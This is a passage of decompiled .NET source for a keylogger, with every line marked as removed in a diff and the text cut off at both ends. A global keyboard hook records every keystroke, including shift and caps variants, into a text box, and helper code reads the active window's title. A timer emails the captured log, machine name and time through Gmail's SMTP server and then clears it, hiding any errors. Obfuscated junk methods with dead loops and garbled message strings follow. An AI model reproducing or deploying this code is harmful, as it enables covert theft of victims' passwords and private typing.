EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer4 - { - [DebuggerNonUserCode] get => this._Timer4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer4_Tick); - if (this._Timer4 != null) - this._Timer4.Tick -= eventHandler; - this._Timer4 = value; - if (this._Timer4 == null) - return; - this._Timer4.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer5 - { - [DebuggerNonUserCode] get => this._Timer5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Timer5 = value; - } - - internal virtual System.Windows.Forms.Timer Timer6 - { - [DebuggerNonUserCode] get => this._Timer6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Timer6 = value; - } - - private void Form1_Load(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { - try - { - new SmtpClient("smtp.gmail.com") - { - Port = 587, - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)) - }.Send(new MailMessage() - { - Subject = MyProject.Computer.Name + ":", - To = { - this.TextBox2.Text - }, - From = new MailAddress(this.TextBox2.Text), - Body = this.TextBox1.Text + "Time--->>>>" + Conversions.ToString(DateAndTime.TimeOfDay) + "---Date--->>>" + DateAndTime.DateString - }); - this.TextBox1.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private virtual Form1.kjdshfi23ur9fjsdfmiowuf9sods HKB - { - [DebuggerNonUserCode] get => this._HKB; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KDEventHandler kdEventHandler = new Form1.kjdshfi23ur9fjsdfmiowuf9sods.KDEventHandler(this.shiftandcaps); - if (this._HKB != null) - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KD -= kdEventHandler; - this._HKB = value; - if (this._HKB == null) - return; - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KD += kdEventHandler; - } - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string VU475WI6LBDFH() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public void shiftandcaps(Keys Key) - { - if (!MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock) - { - if (Key == Keys.A) - this.TextBox1.Text += "a"; - else if (Key == Keys.B) - this.TextBox1.Text += "b"; - else if (Key == Keys.C) - this.TextBox1.Text += "c"; - else if (Key == Keys.D) - this.TextBox1.Text += "d"; - else if (Key == Keys.E) - this.TextBox1.Text += "e"; - else if (Key == Keys.F) - this.TextBox1.Text += "f"; - else if (Key == Keys.G) - this.TextBox1.Text += "g"; - else if (Key == Keys.H) - this.TextBox1.Text += "h"; - else if (Key == Keys.I) - this.TextBox1.Text += "i"; - else if (Key == Keys.J) - this.TextBox1.Text += "j"; - else if (Key == Keys.K) - this.TextBox1.Text += "k"; - else if (Key == Keys.L) - this.TextBox1.Text += "l"; - else if (Key == Keys.M) - this.TextBox1.Text += "m"; - else if (Key == Keys.N) - this.TextBox1.Text += "n"; - else if (Key == Keys.O) - this.TextBox1.Text += "o"; - else if (Key == Keys.P) - this.TextBox1.Text += "p"; - else if (Key == Keys.Q) - this.TextBox1.Text += "q"; - else if (Key == Keys.R) - this.TextBox1.Text += "r"; - else if (Key == Keys.S) - this.TextBox1.Text += "s"; - else if (Key == Keys.T) - this.TextBox1.Text += "t"; - else if (Key == Keys.U) - this.TextBox1.Text += "u"; - else if (Key == Keys.V) - this.TextBox1.Text += "v"; - else if (Key == Keys.W) - this.TextBox1.Text += "w"; - else if (Key == Keys.X) - this.TextBox1.Text += "x"; - else if (Key == Keys.Y) - this.TextBox1.Text += "y"; - else if (Key == Keys.Z) - this.TextBox1.Text += "z"; - else if (Key == Keys.D0) - this.TextBox1.Text += "0"; - else if (Key == Keys.D1) - this.TextBox1.Text += "1"; - else if (Key == Keys.D2) - this.TextBox1.Text += "2"; - else if (Key == Keys.D3) - this.TextBox1.Text += "3"; - else if (Key == Keys.D4) - this.TextBox1.Text += "4"; - else if (Key == Keys.D5) - this.TextBox1.Text += "5"; - else if (Key == Keys.D6) - this.TextBox1.Text += "6"; - else if (Key == Keys.D7) - this.TextBox1.Text += "7"; - else if (Key == Keys.D8) - this.TextBox1.Text += "8"; - else if (Key == Keys.D9) - this.TextBox1.Text += "9"; - else if (Key == Keys.NumPad0) - this.TextBox1.Text += "0"; - else if (Key == Keys.NumPad1) - this.TextBox1.Text += "1"; - else if (Key == Keys.NumPad2) - this.TextBox1.Text += "2"; - else if (Key == Keys.NumPad3) - this.TextBox1.Text += "3"; - else if (Key == Keys.NumPad4) - this.TextBox1.Text += "4"; - else if (Key == Keys.NumPad5) - this.TextBox1.Text += "5"; - else if (Key == Keys.NumPad6) - this.TextBox1.Text += "6"; - else if (Key == Keys.NumPad7) - this.TextBox1.Text += "7"; - else if (Key == Keys.NumPad8) - this.TextBox1.Text += "8"; - else if (Key == Keys.NumPad9) - this.TextBox1.Text += "9"; - else if (Key == Keys.Oemcomma) - this.TextBox1.Text += ","; - else if (Key == Keys.OemMinus) - this.TextBox1.Text += "-"; - else if (Key == Keys.OemQuotes) - this.TextBox1.Text += "'"; - else if (Key == Keys.OemOpenBrackets) - this.TextBox1.Text += "["; - else if (Key == Keys.Back) - this.TextBox1.Text += "[BACK]"; - else if (Key == Keys.OemCloseBrackets) - this.TextBox1.Text += "]"; - else if (Key == Keys.OemQuestion) - this.TextBox1.Text += "/"; - else if (Key == Keys.OemPipe) - this.TextBox1.Text += "\\"; - else if (Key == Keys.OemSemicolon) - this.TextBox1.Text += ";"; - else if (Key == Keys.OemPeriod) - this.TextBox1.Text += "."; - else if (Key == Keys.Oemtilde) - this.TextBox1.Text += "`"; - else if (Key == Keys.Space) - this.TextBox1.Text += " "; - else if (Key == Keys.Return) - this.TextBox1.Text += "\r\n"; - else if (Key == Keys.F1) - this.TextBox1.Text += "[F1]"; - else if (Key == Keys.F2) - this.TextBox1.Text += "[F2]"; - else if (Key == Keys.F3) - this.TextBox1.Text += "[F3]"; - else if (Key == Keys.F4) - this.TextBox1.Text += "[F4]"; - else if (Key == Keys.F5) - this.TextBox1.Text += "[F5]"; - else if (Key == Keys.F6) - this.TextBox1.Text += "[F6]"; - else if (Key == Keys.F7) - this.TextBox1.Text += "[F7]"; - else if (Key == Keys.F8) - this.TextBox1.Text += "[F8]"; - else if (Key == Keys.F9) - this.TextBox1.Text += "[F9]"; - else if (Key == Keys.F10) - this.TextBox1.Text += "[F10]"; - else if (Key == Keys.F11) - this.TextBox1.Text += "[F11]"; - else if (Key == Keys.F12) - this.TextBox1.Text += "[F12]"; - else if (Key == Keys.Delete) - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - else if (Key == Keys.Back) - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - else if (Key == Keys.Down) - this.TextBox1.Text += "?"; - else if (Key == Keys.Up) - this.TextBox1.Text += "?"; - else if (Key == Keys.Left) - this.TextBox1.Text += "?"; - else if (Key == Keys.Right) - this.TextBox1.Text += "?"; - else if (Key == Keys.Tab) - this.TextBox1.Text += "[TAB]"; - else if (Key == Keys.End) - this.TextBox1.Text += "[END]"; - else if (Key == Keys.Escape) - this.TextBox1.Text += "[ESC]"; - else if (Key == Keys.Divide) - this.TextBox1.Text += "/"; - else if (Key == Keys.Decimal) - this.TextBox1.Text += "."; - else if (Key == Keys.Subtract) - this.TextBox1.Text += "-"; - else if (Key == Keys.Add) - { - this.TextBox1.Text += "+"; - } - else - { - if (Key != Keys.Multiply) - return; - this.TextBox1.Text += "*"; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.NumPad0: - this.TextBox1.Text += "0"; - break; - case Keys.NumPad1: - this.TextBox1.Text += "1"; - break; - case Keys.NumPad2: - this.TextBox1.Text += "2"; - break; - case Keys.NumPad3: - this.TextBox1.Text += "3"; - break; - case Keys.NumPad4: - this.TextBox1.Text += "4"; - break; - case Keys.NumPad5: - this.TextBox1.Text += "5"; - break; - case Keys.NumPad6: - this.TextBox1.Text += "6"; - break; - case Keys.NumPad7: - this.TextBox1.Text += "7"; - break; - case Keys.NumPad8: - this.TextBox1.Text += "8"; - break; - case Keys.NumPad9: - this.TextBox1.Text += "9"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += ")"; - break; - case Keys.D1: - this.TextBox1.Text += "!"; - break; - case Keys.D2: - this.TextBox1.Text += "@"; - break; - case Keys.D3: - this.TextBox1.Text += "#"; - break; - case Keys.D4: - this.TextBox1.Text += "$"; - break; - case Keys.D5: - this.TextBox1.Text += "%"; - break; - case Keys.D6: - this.TextBox1.Text += "^"; - break; - case Keys.D7: - this.TextBox1.Text += "&"; - break; - case Keys.D8: - this.TextBox1.Text += "*"; - break; - case Keys.D9: - this.TextBox1.Text += "("; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ":"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += "<"; - break; - case Keys.OemMinus: - this.TextBox1.Text += "_"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += ">"; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "?"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "~"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "{"; - break; - case Keys.OemPipe: - this.TextBox1.Text += "|"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "}"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "a"; - break; - case Keys.B: - this.TextBox1.Text += "b"; - break; - case Keys.C: - this.TextBox1.Text += "c"; - break; - case Keys.D: - this.TextBox1.Text += "d"; - break; - case Keys.E: - this.TextBox1.Text += "e"; - break; - case Keys.F: - this.TextBox1.Text += "f"; - break; - case Keys.G: - this.TextBox1.Text += "g"; - break; - case Keys.H: - this.TextBox1.Text += "h"; - break; - case Keys.I: - this.TextBox1.Text += "i"; - break; - case Keys.J: - this.TextBox1.Text += "j"; - break; - case Keys.K: - this.TextBox1.Text += "k"; - break; - case Keys.L: - this.TextBox1.Text += "l"; - break; - case Keys.M: - this.TextBox1.Text += "m"; - break; - case Keys.N: - this.TextBox1.Text += "n"; - break; - case Keys.O: - this.TextBox1.Text += "o"; - break; - case Keys.P: - this.TextBox1.Text += "p"; - break; - case Keys.Q: - this.TextBox1.Text += "q"; - break; - case Keys.R: - this.TextBox1.Text += "r"; - break; - case Keys.S: - this.TextBox1.Text += "s"; - break; - case Keys.T: - this.TextBox1.Text += "t"; - break; - case Keys.U: - this.TextBox1.Text += "u"; - break; - case Keys.V: - this.TextBox1.Text += "v"; - break; - case Keys.W: - this.TextBox1.Text += "w"; - break; - case Keys.X: - this.TextBox1.Text += "x"; - break; - case Keys.Y: - this.TextBox1.Text += "y"; - break; - case Keys.Z: - this.TextBox1.Text += "z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else - { - if (!(MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock)) - return; - switch (Key) - { - case Keys.Back: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text = this.TextBox1.Text.Remove(checked (this.TextBox1.Text.Length - 1), 1); - break; - case Keys.D0: - this.TextBox1.Text += ")"; - break; - case Keys.D1: - this.TextBox1.Text += "!"; - break; - case Keys.D2: - this.TextBox1.Text += "@"; - break; - case Keys.D3: - this.TextBox1.Text += "#"; - break; - case Keys.D4: - this.TextBox1.Text += "$"; - break; - case Keys.D5: - this.TextBox1.Text += "%"; - break; - case Keys.D6: - this.TextBox1.Text += "^"; - break; - case Keys.D7: - this.TextBox1.Text += "&"; - break; - case Keys.D8: - this.TextBox1.Text += "*"; - break; - case Keys.D9: - this.TextBox1.Text += "("; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ":"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += "<"; - break; - case Keys.OemMinus: - this.TextBox1.Text += "_"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += ">"; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "?"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "~"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "{"; - break; - case Keys.OemPipe: - this.TextBox1.Text += "|"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "}"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - } - - public void PpxIaH8AV1UAUf4() - { - bool flag = false; - if (false) - flag = false; - long num1 = 5795; - Decimal num2 = 2895625M; - num2 = 30195M; - while (true) - ; - num1 = 1L; - long num3 = 70903790; - int num4 = 454; - while (true) - { - while (false) - { - num3 = 9619532L; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num4 = 871446; - while (false) - num1 = 3640L; - while (false) - num3 = 535L; - while (true) - num3 = 279L; - ProjectData.ClearProjectError(); - } - int num5 = (int) Interaction.MsgBox((object) "\u0081Wez‘d:|79\u0090He%PGm{i3i‡\\{H;b‘0`dTJ’[~…$>iƒ/'‰[Y5}<#Ž1z(7"); - } - } - } - - private void pWT1l399x0KqEQiu6() - { - Decimal num1 = 825M; - Decimal num2 = 589163005M; - int num3 = 99; - do - { - while (false) - { - num1 = 98M; - while (false) - { -label_4: - if (false) - { - int num4 = 676; - do - { - checked { ++num4; } - } - while (num4 <= 1570392); - goto label_4; - } - else - { - if (false) - ; - int num5 = (int) MessageBox.Show("„6!‚2N%\\|I/yHŠ€`k\u008D5\u008D+‚CQ8\u008F(:cU%4€k@„gIj‚I7,Gƒ%Ts~m‹†Ml‡…bj6E}‹FCŽŒoiŽŒACFd†u\u008F`2[HOˆ]2y4v>‘$rS\\^?x#‡,w*‚tic'' ?ˆXn\u0090M}15xŒK\u008Fˆbƒ|%g\u0090‹k&w=_4†ar,u‘)=x^0<\u008F„rG}r…\u007F's=NB\u008FIQ‰r\u0081€‰bUk6L†…F*=‡J '‹qŒ^lH~\u0081T)Io,k}"); - int num6 = 2957729; - while (num6 <= 0) - checked { ++num6; } - } - } - while (true) - { - if (true) - { - int num7 = (int) 